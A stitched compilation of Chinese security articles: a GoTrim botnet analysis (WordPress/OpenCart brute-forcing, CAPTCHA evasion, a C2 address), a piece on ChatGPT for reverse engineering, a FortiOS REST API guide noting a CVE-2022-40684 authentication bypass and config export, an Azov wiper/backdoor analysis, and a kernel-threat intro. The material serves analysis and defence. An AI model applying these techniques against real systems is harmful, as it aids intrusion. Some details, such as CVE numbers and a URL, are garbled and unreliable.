為了向目標設備發出命令,攻擊者向“/BOT_ID?”ert=1 '發送POST請求,正文包含AES-256-GCM加密的命令數據,類似於C2服務器在客戶端請求命令時的響應。服務器模式支持與客戶端模式相同的命令。

攻擊者還可以發送帶有參數“/BOT_ID?intval=1”的請求,以查看當前正在運行的任務的狀態以及分配的任務是否已完成。

當CPU利用率低於某個水平(75%或90%,取決於當前任務使用的並發工作者的數量)時,將生成一個單獨的goroutine來處理每個域。

殭屍網絡命令檢測CMSGoTrim試圖確定目標網站上是否使用了四個CMS(WordPress、Joomla!OpenCart或DataLife Engine)中的一個。它通過檢查網頁內容中的特定字符串來實現這一點。

有趣的是,它只通過檢查“WordPress.com”的Referer HTTP標頭來針對自託管的WordPress網站。由於託管的WordPress主機提供商,例如wordpress.com,通常會實施更多的安全措施來監控、檢測和阻止攻擊嘗試。

用於確定已安裝CMS的字符串如下所示:

微信截图_20221215094401.png

雖然GoTrim可以使用上述四種cms檢測網站,但它目前只支持針對WordPress和OpenCart網站的身份驗證。這表明該殭屍網絡仍在開發中。

驗證WordPress憑據除了C2服務器提供的用戶名之外,它還試圖通過向“/wp-json/wp/v2/users”發送GET請求來收集更多的用戶名。

之後,它嘗試使用C2命令中提供的用戶名列表和密碼登錄WordPress網站,通過發送POST請求到“/wp-login.php”。下圖顯示了登錄的POST請求示例。

picture5.png

WordPress身份驗證請求

這個請求導致在成功登錄後重定向到WordPress網站的管理頁面(即/wp-admin)。為了確認登錄和重定向成功,它檢查響應是否包含“id=\”adminmenumain\”。

C2服務器還可以通過WordPress XML- rpc特性指定要執行的身份驗證,這是用戶使用XML以編程方式與CMS遠程交互的另一種方式。通過直接與web服務器的後端通信,可以繞過通常在訪問網站頁面時有效的反木馬機制(如captchas)。

成功登錄後,以下信息(以“|”分隔)將被更新為全局狀態消息,並與以下請求一起發送到C2(客戶端模式)或作為傳入請求的響應(服務器模式):

目標URL;

使用者名稱;

密碼;

命令ID(1用於WordPress, 3用於OpenCart等);

攻擊狀態(“0GOOD”表示成功);

驗證OpenCart憑據GoTrim還可以強力破解運行開源電子商務平台OpenCart的網站。

它向目標的“/admin/index.php”發送一個GET請求,並收集登錄請求所需的與身份驗證相關的令牌和標頭。然後,它通過向相同的URL發送POST請求以及包含用戶名和密碼的表單編碼數據來執行實際的身份驗證。

為了驗證登錄請求是否成功,它會通過搜索“/dashboarduser_token=”來檢查網站是否返回了OpenCart用戶令牌,並確保接收到的數據中的“redirect”值不為空。

一個有效的身份驗證響應應該如下所示:

{'redirect':'https://example.com/opencart/admin/index.php?route=common/dashboarduser_token=USER_TOKEN_HASH'}

成功登錄後,全局狀態消息將更新為針對WordPress的攻擊狀態。

反木馬檢查GoTrim可以檢測到網絡託管提供商和CDN(如Cloudflare和SiteGround)使用的反木馬技術,並規避一些更簡單的檢查。

它試圖通過使用瀏覽器發送的相同HTTP標頭並支持相同的內容編碼算法(gzip、deflate和Brotli)來模擬來自64位Windows上Mozilla Firefox的合法請求。

對於WordPress網站,它還會檢測是否安裝了CAPTCHA插件。

Google reCAPTCHA;

BestWebSoft的reCAPTCHA;

WP限制登錄嘗試;

屏蔽安全Captcha;

All in One Security (AIOS)Captcha;

JetPackCaptcha;

BestWebSoft的Captcha;

該惡意軟件包含用於解決某些插件的CAPTCHA的代碼。然而,我們需要驗證繞過技術是否有效。我們確定它無法繞過Google、WP限制登錄嘗試和Shield Security的CAPTCHA。

一般來說,對於它無法繞過的安全插件,它只通過使用與成功登錄期間發送的數據類似的信息更新全局狀態消息來向C2服務器報告它們。但它使用“3GOOD”表示攻擊狀態,以指示跳過憑據驗證。

在遇到網頁內容中包含字符串“1gb.ru”的網站時,GoTrim也會發送相同的“3GOOD”攻擊破解狀態。這似乎是一個有意識的決定,以避免針對該提供商託管的網站,但意圖尚不清楚。

活動更新在搜索與此活動相關的其他示例時,我們發現了一個來自2022年9月的PHP腳本和二進製文件,其中包含C2 server 89[.]208[.]107[.]12上不同的URLs “/selects?param=1”和“/selects?walert=1”,我們檢測的PHP腳本PHP/GoTrim!tr.dldr使用相同的安裝方法,只是下載URL在我們收集的示例中有所不同。

picture6.png

來自2022年9月版本的不同C2服務器的代碼片段

2022年11月出現的二進製版本也更新了其HTTP POST URL。信標請求URL“/selects?dram=1”和命令請求URL“/celects?bilert=1”已分別更改為“/route?index=1”和“/routh?alert=1”。數據傳輸中使用的加密算法和密鑰保持不變。

picture7.png

Wireshark從兩個版本的GoTrim捕獲POST請求

總結雖然這個惡意軟件仍在開發中,但它擁有功能完備的WordPress攻擊程序,再加上它的反木馬規避技術,這使得它成為一個值得關注的威脅,特別是隨著WordPress CMS的巨大普及,這個惡意軟件的威脅不容小覷。為了降低這種風險,網站管理員應確保用戶帳戶(特別是管理員帳戶)使用強密碼。另外,保持CMS軟件和相關插件是最新的,因為攻擊者還可以通過利用未修補的漏洞來發起攻擊。

ChatGPT是人工智能研究實驗室OpenAI新推出的一種人工智能技術驅動的自然語言處理工具,使用了Transformer神經網絡架構,也是GPT-3.5架構,這是一種用於處理序列數據的模型,擁有語言理解和文本生成能力,尤其是它會通過連接大量的語料庫來訓練模型,這些語料庫包含了真實世界中的對話,使得ChatGPT具備上知天文下知地理,還能根據聊天的上下文進行互動的能力,做到與真正人類幾乎無異的聊天場景進行交流。 ChatGPT不單是聊天機器人,還能進行撰寫郵件、視頻腳本、文案、翻譯、代碼等任務。

接下來就讓我們看看ChatGPT如何幫助我們解決一些常見的逆向工程和惡意軟件分析難題。

1.學習如何更有效地使用逆向工程工具軟件工具通常帶有不同程度的內置幫助,它們所缺少的通常由專門的用戶論壇和問答網站(如Stack Overflow、Stack Exchange等)來彌補。 ChatGPT為快速獲得逆向工程工具的幫助增加了另一條途徑。

無論你是使用IDA Pro、Ghidra、Radare2、Hopper、Cutter還是其他一些逆向引擎平台,ChatGPT都能提供幫助。雖然所有這些平台都包含自己的內置幫助功能,但如果ChatGPT的培訓模型中已經涵蓋了這些問題,那麼你可能會發現它能夠回答與你自己的用例相關的特定問題,這是一種更快完成任務的方式。

1.jpg

使用ChatGPT作為radare2的交互式幫助助手

2.自學彙編語言ChatGPT擅長傳達相關信息。

例如,ChatGPT提供了關於函數調用基礎知識和相關堆棧內存管理活動的回答。

2.jpg

我們可以要求ChatGPT在其輸出中或多或少詳細一些。例如,在這裡,我們希望得到一個堆棧幀的視覺表示。

3.jpg

ChatGPT描述了一個堆棧框架

彙編代碼是特定於平台和編譯器的。如果向ChatGPT發出的程序集相關問題不包括與編譯程序集的平台(即指令集)或更高級別語言相關的特性,ChatGPT將提供相關的免責聲明信息,以正確定位答案。

ChatGPT可以幫助攻克彙編難題的另一種方式是將用戶熟悉的高級代碼轉換為彙編代碼。這通過將熟悉的概念映射到其內部來促進學習。我們觀察到,ChatGPT可以很好地處理各種主題,包括在學習彙編時至關重要的重要概念,例如指針和函數指針調用。 ChatGPT的響應通常包括帶註釋的彙編代碼,這進一步提高了學習效果。

4.1.png

4.2.jpg

ChatGPT將高級代碼轉換為程序集

3.了解源代碼如何轉換為反彙編作為惡意軟件分析師,我們大部分時間都是從反彙編者的角度來看待惡意軟件。編程語言的經驗和知識在這里至關重要,但ChatGPT可以幫助我們了解已知源代碼在反彙編程序中的樣子,以及代碼更改如何在反彙編中反映出來。新手可以通過編寫自己的源代碼來推斷一些反彙編代碼可能會做什麼,並查看它是否與他們正在查看的反彙編類似。這可以幫助經驗不足的分析人員加深對惡意代碼的理解。

5.1.jpg

5.2.gif

4.快速編寫PoC源代碼ChatGPT甚至可以幫助我們編寫測試理論所需的源代碼。例如,我們可以問AI以下問題:

6.png

然而,有時候ChatGPT需要一點引導。在寫完我們請求的函數後,它決定將分解任務委託給我們:

7.jpg

首先,我們從前面的答案中復制代碼,然後在給出明確的指令後粘貼它。

8.jpg

現在,我們得到了我們正在尋找的分解結果。

9.jpg

5.指令集之間的轉換鑑於彙編代碼是特定於平台的,經驗更豐富的逆向工程師可以利用ChatGPT查詢不同的指令集,而不是他們已經熟悉的指令集。一種方法是指示ChatGPT將編寫在一個指令集中的彙編代碼轉換為另一個指令集。

10.jpg

ChatGPT將x64彙編代碼轉換為ARM

這為進一步探索感興趣的指令集提供了基礎,例如,通過查詢ChatGPT關於翻譯後代碼中指令的進一步信息。

11.jpg

ChatGPT解釋了blx ARM指令

6. 比較語言或特定於平台的約定有經驗的逆向工程師還可以從使用ChatGPT查詢編程語言和平台的內存管理技術的差異中受益,例如調用約定。

12.jpg

ChatGPT比較調用約定

在撰寫本文時,ChatGPT正在使用2021年之前的訓練數據進行訓練。因此,如果某些平台或高級語言的特性在某個時間點之後發生了變化,ChatGPT不會提供當前信息。調用約定更改的一個例子是在Golang語言中從基於堆棧的調用約定轉換為基於寄存器的調用約定。

有經驗的逆向工程師,特別是惡意軟件分析師,可以利用ChatGPT來熟悉日益流行的編程語言的高級結構,以及這些結構是如何在彙編中表示的。例如,內存安全的Golang和Rust越來越多地被惡意軟件開發人員採用。

13.jpg

7.分析惡意軟件樣本中的代碼段ChatGPT能夠解釋和分析與逆向工程相關的代碼,包括偽代碼和彙編代碼。這使得ChatGPT在分析惡意軟件可執行文件的代碼段(如函數)時非常有用,主要是因為ChatGPT可以提供代碼執行活動的摘要。

這可以顯著提高惡意軟件逆向工程師的效率。 Gepetto IDA Pro插件在IDA Pro中集成了ChatGPT,並查詢語言模型以提供由Hex-Rays反彙編程序反編譯的函數的含義。

解釋代碼的能力還可以對代碼進行比較,使惡意軟件分析人員能夠了解不同惡意軟件樣本實現之間的差異。

為了在分析人員通常需要的描述性級別上總結代碼的功能,ChatGPT可能缺少所需的關於分析中的可執行文件的更廣泛的上下文,而分析人員可能擁有這些上下文。

假設分析師很少或沒有向ChatGPT提供上下文,如果所分析的代碼與其目的相關,那麼該模型將提供最大的即時價值。在實踐中,這通常意味著代碼不會調用以ChatGPT未知的方式擴展代碼功能的用戶定義函數,但如果它調用函數,則它們是已知的、公開記錄的庫函數。由於ChatGPT是基於公開可用的數據進行訓練的,因此語言模型此時可以準確地解釋在用戶提供的代碼中使用這些函數的情況。

例如,如果提供給ChatGPT的偽代碼引用了公開記錄的庫函數,則ChatGPT對代碼用途的解釋將圍繞這些函數的功能展開。

14.jpg

ChatGPT通過解釋十六進制射線偽代碼來討論函數的用途

為了從ChatGPT中獲得更好的代碼分析輸出,用戶仍然需要:

制定實質性的ChatGPT查詢,以便提供所需的上下文;

與ChatGPT進行對話,在對話期間提供上下文,並完善ChatGPT的答案;

嘗試在回答的末尾使用“重新生成響應”選項,這似乎是對ChatGPT的一種“再努力一點”的指示。

向ChatGPT添加更多上下文可以包括用戶定義函數的功能,這些功能是分析師所了解的。上下文信息可以以編程的方式提供,以減少人工分析人員的工作量,例如,通過為此目的開發的反彙編程序插件。

這同樣適用於從非技術角度改進ChatGPT的輸出。例如,ida_gpt(一個通過查詢ChatGPT來協助程序集代碼分析的IDA Pro插件)分別為分析和重構程序集代碼製定了下面的查詢。

下面是ida_gpt ChatGPT查詢的幾個示例:

15.png

8.識別代碼中的惡意活動惡意軟件分析師可以使用ChatGPT來識別某個功能可能實現的潛在惡意活動的指示器。這對於將惡意軟件可執行文件中的功能映射到特定的惡意功能非常重要,類似於capa IDA Pro插件的功能。

在這種情況下,我們觀察到ChatGPT能夠對函數中惡意活動的所有指標的強度進行優先級排序。因此,惡意軟件分析師可以確定與ChatGPT的交互範圍,以更詳細地討論最強指標。

例如,OpenGPT將vssadmin.exe的執行確定為下面偽代碼中惡意活動的最強指標。

16.jpg

16.2.jpg

16.3.jpg

ChatGPT評估惡意活動的指標

9.推測功能目的和目標除了識別惡意活動指標外,惡意軟件分析師還可以進一步與ChatGPT對話,以推測並更好地了解惡意軟件如何使用特定平台或軟件結構以及達到何種目的。即使在分析師沒有提供全面背景的情況下,這也可能是有效的。

例如,下面的勒索軟件偽代碼代碼使用Microsoft Cryptographic API(CAPI),也稱為CryptographicAPI:下一代(CNG)加密架構,用於加密數據。

17.1.jpg

17.2.jpg

17.3.jpg

ChatGPT討論了惡意軟件對CAPI的使用

10. 了解漏洞並利用代碼了解漏洞是如何工作的,惡意軟件開發者如何利用它們,以及我們如何識別和檢測它們在代碼中的使用是一項極具挑戰性的任務。 ChatGPT在這方面也可以幫助我們。

讓我們以CVE-2022-468889為例,看看ChatGPT是否可以幫助我們理解代碼的工作原理。

18.jpg

ChatGPT為我們提供了以下解釋。

19.jpg

人工智能最初找到的答案還是可以的,但它顯然不了解漏洞的更廣泛背景。我們可以通過提供更多信息來幫助它。因為ChatGPT是上下文感知的,所以我們不需要重複前面的問題或再次粘貼前面的代碼。

20.jpg

讓我們看看它現在提供了什麼答案。

21.jpg

ChatGPT解釋了CVE-2022-46889的漏洞代碼

由於ChatGPT的上下文意識,研究人員有可能深入了解這一解釋中他們希望了解更多信息的任何特定部分。

正如我們在前面的挑戰中看到的,我們還可以要求在反彙編中表示,以查看惡意軟件示例中的部分或全部利用代碼。

11. 協助自動化逆向工程任務反向工程師轉而使用腳本語言來自動化手動完成的重複或容易出錯的任務,例如重命名變量或大規模地對混淆的代碼進行解混淆。這可以顯著地加快和提高逆向工程任務的效率。 ChatGPT能夠編寫代碼,包括IDAPython, IDA Pro反彙編程序的腳本語言。

22.png

ChatGPT編寫IDAPython腳本

由於ChatGPT目前使用2021之前的數據進行培訓,並且IDAPython正在進行定期更改,我們觀察到ChatGPT經常編寫過時的IDAPythin腳本。因此,我們評估了ChatGPT生成的IDAPython代碼最實際的用例可能是作為模板代碼,用戶可能需要對其進行輕微或適度的調整,以使代碼在當前部署中發揮作用。這通常涉及更改引用的模塊和函數名,以適應IDAPython API中的更改。需要少量或適度修改的模板IDAPython代碼在需要編寫的IDAPython代碼中非常實用。

總結總的來說,ChatGPT可以:

生成惡意代碼執行的功能和操作的解釋和摘要,這可以幫助逆向工程師和惡意軟件分析師了解其目的和行為。

協助分解和反編譯代碼,將其分解為更小、更易於管理的塊進行分析。

幫助逆向工程師和惡意軟件分析師了解代碼庫不同部分之間的關係以及它們如何協同工作,這對識別和理解代碼依賴性很有用。

通過生成漏洞及其潛在影響的解釋和摘要,協助識別和理解代碼漏洞。

幫助逆向工程師和惡意軟件分析師了解用於混淆代碼的技術,這對於分析和消除惡意代碼非常有用。

協助生成代碼分析和惡意軟件分析結果的文檔和報告。

為進一步分析提供指導和建議,幫助逆向工程師和惡意軟件分析人員確定工作的優先級,並將重點放在工作的最重要方面。

用於創建逆向工程和惡意軟件分析培訓的教材和練習,幫助培養這些領域的技能和知識。

通過提供信息和分析結果的共享存儲庫,幫助促進團隊成員之間的協作,這有助於提高效率和有效性。

協助生成用於代碼和惡意軟件分析的測試用例和場景,幫助確保分析是徹底和全面的。

通過生成代碼和惡意軟件行為的解釋和摘要,為法律和法醫調查提供幫助,這對於構建案例和演示惡意活動的影響非常有用。

對於初學者,ChatGPT可以全面介紹掌握逆向工程所需的概念和技能,例如彙編語言的基礎知識和了解程序如何構造和運行所需的背景知識。

對於經驗豐富的逆向工程師和惡意軟件分析師,ChatGPT可以用於自動化和加速逆向工程任務,例如分析代碼和了解其功能。 ChatGPT對逆向工程師和惡意軟件分析師的回答的價值取決於提供給語言模型的上下文信息的數量。這可以通過向ChatGPT發出上下文完整查詢或與ChatGPT進行對話以改進答案來實現。

在未來,ChatGPT有可能變得更強大,對逆向工程師和惡意軟件分析師更有用。隨著不斷的發展,可能會克服其當前的一些限制,例如對數據的操作依賴性是有限的,並且具有過去的時間戳。通過解決這些限制,ChatGPT可以成為逆向工程師和分析師不可或缺的工具,提供準確高效地分析代碼所需的信息。

0x00 前言本文將要介紹FortiOS REST API的相關用法,分享開發的實現細節。

0x01簡介本文將要介紹以下內容:

強化環境聽力

FortiOS REST API 方式登錄

常用操作

常用功能

0x02 Fortigate環境這里以Fortigate作為FortiOS REST API的測試環境,安裝FortiGate for VMware

參考資料:https://getlabsdone.com/how-to-install-fortigate-on-vmware-workstation/

1.下載FortiGate for VMware安裝包下載地址:https://support.fortinet.com/

選擇Support-VMImages,選擇產品:FortiGate,選擇平台:VMWare ESXi

注:

7.2之前的版本可以使用15天,7.2之後的版本需要賬號註冊

2.導入ova文件打開FortiGate-VM64.ova導入VMWare

3.配置網卡3個網卡,我們只需要保留3個,刪掉後面的107個,默認3個網卡的具體配置如下:

(1)管理網卡

點擊VMware workstation-Edit-Virtual Network Editor點擊Change settings,點擊Add Network.選擇VMnet2,選擇,Type選擇Host-only,DHCP選擇Enabled

如下圖

1.png

商業網卡設置成VMnet2

(2)WAN網卡

設置成bridged

(3)局域網網卡

選擇network adapter 3,點擊LAN Segments.點擊Add,命名為Fortigate LAN

網卡設置成LAN segment,選擇Fortigate LAN

最終配置成圖

2.png4.開啟虛擬機用戶名:admin職位,為默認空

查看激活狀態的命令:get system status

查看ip的命令:diagnose ip address list

得到管理網卡的ip為192.168.23.128

5.訪問網頁管理頁面地址為:http://192.168.23.128

0x03 FortiOS REST API 登錄方式參考資料:https://www.used.net.ua/index.php/fajlovyj-arkhiv/category/35-fortinet.html?download=83:fortios-5-6-11-rest-api-reference

FortiOS REST API支持以下類型登錄:

1.使用admin用戶登錄需要管理員用戶admin的明文,不需要額外的配置

通過訪問訪問https://

需要注意的是,使用管理員用戶登錄結束後需要進行訪問https://

Python示例代碼如下:

3.png 4.png

代碼實現以下三個功能:

管理員用戶信息,查詢成功

REST API用戶信息,查詢成功

查詢配置文件信息,查詢成功

2.使用API密鑰參考資料:https://docs.fortinet.com/document/forticonverter/6.0.2/online-help/866905/connect-fortigate-device-via-api-token

需要額外創建配置文件和用戶,生成API密鑰

(1)創建配置文件

登錄網頁管理頁面,選擇System-Admin Profiles-Create New

Name設置為api_admin

將所有權限均設置為Read/Write

(2)創建用戶

選擇System-Administrators-Create New-REST API Admin

Username設置為api_user

Administrator profile設置為api_admin

自動生成API 密鑰,測試環境得到的結果為r3h53QbtrmNtdk0HH5qwnw8mkcmnt7

API key有以下使用方式:

作為URL 的參數使用,示例:access_token=r3h53QbtrmNtdk0HH5qwnw8mkcmnt7

標題中,示例:'Authorization': 'Bearer r3h53QbtrmNtdk0HH5qwnw8mkcmnt7'

Python示例代碼如下:

5.png

代碼實現以下三個功能:

管理員用戶信息,查詢失敗

REST API用戶信息,查詢成功

查詢配置文件信息,查詢成功

補充:通過漏洞(CVE-2022-40684)可屏蔽身份認證Python示例代碼如下:

6.png 7.png

代碼實現以下三個功能:

管理員用戶信息,查詢成功

REST API用戶信息,查詢成功

查詢配置文件信息,查詢成功

0x04 常用操作1. 調試輸出為了方便調試,可以在cli執行以下命令:

8.png

一分鐘在cli輸出調試信息3

如下圖

9.png

2.文件打包可提取使用掛載vmdk的方式加載文件,逆向分析REST API的實現

破解方法: https://www.horizontal-fortiswitchmanager-460-dive-cve-2022-484 /

3.增刪改查操作讀取內容使用GET方法

新建內容使用POST方法

修改內容使用PUT方法

刪除內容使用DELETE方法

0x05 常用功能1.創建本地用戶需要訪問/api/v2/cmdb/user/local,發送json數據

Python示例代碼如下:

10.png

2.添加防火牆需要訪問/api/v2/cmdb/firewall/policy,發送json數據

Python示例代碼如下:

11.png 12.png

3.導出所有配置通過訪問/api/v2/cmdb/system/admin導出用戶信息時,密碼項被加密,格式為'password':'ENC XXXX'

這裡可通過備份功能導出所有配置,獲得加密的用戶身份,訪問位置為/api/v2/monitor/system/config/backup?destination=filescope=global

Python示例代碼如下:

13.png

4.抓包需要完成以下操作:

新建抓包過濾器

開啟抓包過濾器

停止數據包捕獲過濾器

下載數據包

刪除數據包捕獲過濾器

Python示例代碼如下:

14.png 15.png

16.png

0x06 小結本文以Fortigate REST 的配置和介紹,介紹了FortiOS 的相關用法,為創建本地用戶、添加防火牆規則、導出所有的實現代碼。

微信截图_20221214085509.png

Check Point Research(CPR)對臭名昭著的Azov勒索軟件進行了分析,分析表明,Azov能夠修改某些64位可執行文件以執行自己的代碼。在過去的幾周里,CPR在其社交媒體以及Bleeping Computer上分享了對Azov勒索軟件的初步調查結果。接下來,我們將介紹Azov勒索軟件的內部工作原理及其技術特點。

主要發現Azov最初是作為SmokeLoader殭屍網絡的有效負載而引起注意的,該殭屍網絡通常存在於假冒盜版軟件和破解網站中。

Azov與普通勒索軟件不同的是它對某些64位可執行文件的修改以執行自己的代碼。在現代互聯網出現之前,這種行為曾經是惡意軟件氾濫的必經之路。可執行文件的修改是使用多態代碼來完成的,這樣就不會被靜態簽名潛在地破壞,並且也適用於64位可執行文件。

這種對受害者可執行文件的攻擊性多態感染導致了大量感染Azov的公開可用文件。每天都有數百個與Azov相關的新樣本提交給VirusTotal,截至2022年11月,該樣本已超過17000個。使用手工製作的查詢,可以只搜索正確的Azov樣本,而不使用木馬化的二進製文件。

VirusTotal查詢以搜索與Azov相關的樣本:

1.png

1.2.png

VirusTotal查詢——Azov相關樣本

VirusTotal查詢僅搜索正確的Azov樣本,而不搜索木馬化二進製文件:

2.png

VirusTotal查詢——僅原始Azov樣本

豐富的樣本使我們能夠區分Azov的兩個不同版本,一個更老,一個稍新。這兩個版本共享它們的大部分功能,但較新版本使用了不同的勒索通知,以及銷毀文件的不同文件擴展名(.azov)。

3.png

新版本的Azov的贖金通知

4.png

舊版本的Azov的贖金通知

技術分析使用FASM在程序集中手動製作;

使用反分析和代碼混淆技術;

原始數據內容的多線程間歇性覆蓋(循環666字節);

在受損系統中後門64位“.exe”文件的多態方式;

“邏輯炸彈”設定在特定時間引爆。下面分析的樣本被設置為在UTC時間2022年10月27日上午10:14:30引爆;

沒有網絡活動,沒有數據洩露;

利用SmokeLoader殭屍網絡和木馬程序進行傳播;

有效、快速且不幸無法恢復的數據清除器;

研究人員專注於新Azov版本的原始樣本(SHA256:650f0d694c0928d88aeeed649cf629fc8a7bec604563bca716b1688227e0cc7e-如上所述,與舊版本相比,功能上沒有重大差異)。這是一個64位的可移植可執行文件,已用FASM(平面彙編程序)組裝,只有1段.code (r+x),並且沒有任何導入。

5.png

FASM編譯器的檢測

6.png

只有一個“.code”部分,沒有導入

code字段分為三個部分,通過查看其熵最容易看出。首先,有一個高熵部分包含加密的shell代碼。之後是實現解包程序的純代碼,然後是熵非常低的最後一部分,似乎由用於構造勒索信的純字符串組成。

7.png

“.code”部分的熵

打開程序由於Azov的整個代碼都是手工編寫的,因此有必要執行一些IDA魔術和清理工作,以將代碼塑造成可以反編譯和理解的狀態。完成此操作後,過程start_0()就可見了。這段代碼將shellcode解包到新分配的內存中,然後將執行傳遞給它。

8.png

輸入函數start_0

函數AllocAndDecryptShellcode()中的解包程序被故意創建得看起來比實際更複雜。但實際上,它是一個簡單的種子解密算法,使用xor和rol的組合,其中key=0x15C13。

9.png

AllocAndDecryptShellcode函數中的解包程序

我們在下面提供了簡化程序邏輯的Python實現:

10.png

下一階段分為兩個主要程序:一個負責清除文件,另一個負責為可執行文件設置後門。

11.png

將執行轉移到清除和後門邏輯

清除程序清除程序首先創建一個互斥鎖(Local\\\\azov),以驗證惡意軟件的兩個實例沒有同時運行。

12.png

清除程序——互斥鎖創建

如果成功獲得互斥鎖句柄,Azov會通過木馬(類似於後門程序)64位Windows系統二進製文件msiexec.exe或perfmon.exe並將其保存為rdpclient.exe來創建持久性。在SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run上創建一個註冊表項,指向新創建的文件。

13.png

持久性創建

清除程序使用觸發時間——有一個循環,被分析的樣本檢查系統時間,如果不等於或大於觸發時間,則休眠10秒,然後再次循環。樣本觸發時間為2022年10月27日。

14.png

樣本觸發時間為2022年10月27日

一旦這個邏輯炸彈被觸發,清除器邏輯就會遍歷所有設備目錄,並對每個目錄執行清除程序,從而避免某些硬編碼的系統路徑和文件擴展名。

15.png

系統路徑和文件擴展名

16.png

清除時省略的文件擴展名

每個文件都被“間歇性”清除,這意味著666字節的塊被隨機噪聲覆蓋,然後一個大小相同的塊保持完整,然後一塊再次被覆蓋,依此類推,直到達到4GB的硬限制,此時所有其他數據都保持完整。作為隨機源,樣本使用未初始化的局部變量(例如,char buffer[666]),這實際上意味著隨機堆棧內存內容。

17.png

間歇性數據清除

18.png

數據清除程序的示例跟踪

清除完成後,新的文件擴展名.azov將添加到原始文件名中。清除文件的典型文件結構如下所示。

19.png

清除文件的示例結構

後門程序在遍歷文件系統以搜索要進入後門的文件之前,創建一個名為Local\\\\Kasimir_%c的互斥鎖,其中%c替換為正在處理的驅動器的字母。

20.png

後門程序——互斥鎖創建

TryToBackdoorExeFile()函數負責解密滿足特定條件的64位“.exe”文件進行後門。

21.png

通過預處理條件的文件進入TryToBackdoorExeFile函數

這些具體條件可簡化如下:

預處理條件:它不是文件系統位置清除列表的一部分;

文件擴展名為“.exe”;

文件大小小於20MB;

處理條件:該文件是64位可執行文件;

包含入口點的PE部分有足夠的空間用於注入shellcode植入程序,以保留PE的原始入口點(shellcode起始地址將放在原始入口點的地址);

File size==PE size(PE大小是手動計算的);

處理條件都在TryToBackdoorExeFile()函數中檢查。

22.png

TryToBackdoorExeFile函數

一旦文件滿足所有預處理和處理條件,它就被認為適合適合進行後門操作,並將其推入BackdoorExeFile()函數。

23.png

函數TryToBackdoorExeFile的鄰近圖

函數BackdoorExeFile()負責可執行文件的多態後門。它首先獲取原始代碼段(通常是.text段)的地址,然後在幾個位置隨機修改其內容。在將shellcode的主要blob注入到修改的代碼部分之前,某些常量值將被更改,整個shellcode將使用與前面描述的惡意軟件解包期間使用的相同的加密算法和密鑰重新加密。後門文件寫回磁盤後,三個編碼的數據結構被追加到它的末尾,這是勒索軟件運行所需的有效資源(例如,一種模糊形式的勒索通知)。

24.png

函數BackdoorExeFile的鄰近圖

儘管存在多態後門,但解包和後門過程中使用的加密/解密算法是一致的,可用於Azov檢測。

25.png

使用與解包期間相同的算法和密鑰重新加密shellcode的主blob

反分析和代碼混淆技術防止使用軟件斷點——如果設置了軟件斷點,使用例程將已經解密並正在執行的部分shellcode複製到新分配的內存中,然後將執行轉移到它,遲早會導致異常。在這種情況下,有必要使用硬件斷點。

26.png

防止使用軟件斷點的反分析技術

不透明常量——用產生相同結果常量值的代碼例程替換常量。 (這可以在負責計算常量偏移量的例程中反复看到,而不是直接使用它們,以便直接調用可以被間接調用取代)

27.png

不透明常數

語法混亂——用語義上不地道或完全擴展的等效指令替換指令。這方面的一個例子可以在負責解析導出目錄的程序中找到;另一種是用直接或間接jmp重複替換調用。兩者如下圖所示。

28.png

語法擴展

29.png

在調用中使用間接跳轉和直接跳轉

下面可以看到解析導出目錄的程序集的簡化版本。

30.png

垃圾代碼——插入垃圾字節,導致沒有有意義的指令,甚至根本沒有指令。

不透明謂詞——jz/jnz乍一看似乎是一個條件跳轉,但實際上條件總是滿足或總是不滿足,並且有效地充當無條件跳轉,使靜態分析混淆。這兩種混淆都可以在函數FindGetProcAddress()中看到。

31.png

垃圾字節插入和不透明謂詞混淆

調用-返回濫用——使用push-ret或Call而不是jmp。

32.png

控制間接

Volatile Homebrew IAT ——一個動態分配的結構,包含API函數地址,被用作嵌套結構,作為參數推送給需要使用特定WIN API例程而不是使用普通導入的函數。

33.png

動態創建的IAT類結構用作嵌套結構

總結儘管Azov樣本在第一次被發現時被認為是一個普通的勒索軟件,但當進一步調查時,我們發現了非常先進的技術——手工製作的組裝,將有效載荷注入可執行文件以打開後門。

儘管還不知道其幕後組織,但唯一可以肯定的是,所有這些分析都證實了Azov是一種先進的惡意軟件。

我們將在本文討論攻擊者在其攻擊中是否選擇內核級訪問的原因。 Windows內核威脅長期以來一直受到攻擊者的青睞,因為它可以讓攻擊者獲得高特權訪問和檢測規避能力。時至今日,這些難以消除的威脅仍然是惡意活動攻擊鏈的關鍵組成部分。事實上,SentinelOne最近發現攻擊者濫用Microsoft簽名的驅動程序,對電信、業務流程外包(BPO)、託管安全服務提供商(MSSP)和金融服務行業的組織進行有針對性的攻擊。本月,SophosLabs還報告稱,他們發現了一個加密簽名的Windows驅動程序和一個可執行的加載器應用程序,該應用程序可以終止目標設備上的端點安全進程和服務。

我們將在2023年1月發布的研究論文“深入了解Windows內核威脅”中對值得關注的Windows內核威脅的狀態進行了更全面的分析。

追求內核級訪問的利弊對於攻擊者來說,不受限制地訪問內核是他們攻擊的最佳選擇。他們不僅能夠在內核級別執行惡意代碼,而且還能夠破壞受害者的安全防禦而不被發現。然而,需要注意的是,開發內核級rootkit和其他低級威脅也有其自身的缺點。

有利的一面:獲得對系統資源的高度特權訪問;

隱藏設備上的惡意活動,使檢測和響應活動更加困難;

保護惡意工件免受正常系統過濾過程的影響;

執行可以長時間繞過檢測的隱形操作;

從第三方防病毒產品獲得繼承的信任;

篡改多用戶模式應用程序所依賴的核心服務數據流;

篡改阻礙惡意活動的第三方安全產品;

實現非常低的檢測率,目前大多數現代rootkit在很長一段時間內都沒有被發現。

不利的一面:開發這些威脅可能代價高昂;

與其他用戶模式應用程序惡意軟件類型相比,開發和實現內核rootkit更加困難,這並不能使它們成為大多數攻擊的理想威脅;

內核rootkit的開發需要高素質的內核模式開發人員,他們了解目標操作系統的內部組件,並在逆向工程系統組件方面具有足夠的能力。

由於內核rootkit對錯誤更敏感,如果內核模塊中的代碼錯誤導致系統崩潰並觸發藍屏死亡(BSOD),它們可能會暴露整個操作。

如果受害者的安全機制已經失效或可以通過更簡單的技術消除,那麼引入內核模式組件將使攻擊變得複雜,而不是支持攻擊。

內核威脅有多普遍?我們分析了完全依賴內核驅動程序組件或在其攻擊鏈中至少有一個模塊在內核空間中執行的各種威脅。

在我們的研究中,我們根據可觀察到的技術將內核級威脅分為三個集群:

集群1:繞過內核模式代碼簽名(KMCS)策略的威脅;

集群2:使用合法的創建自己的驅動程序技術符合KMCS的威脅;

集群3:轉移到較低抽象層的威脅;

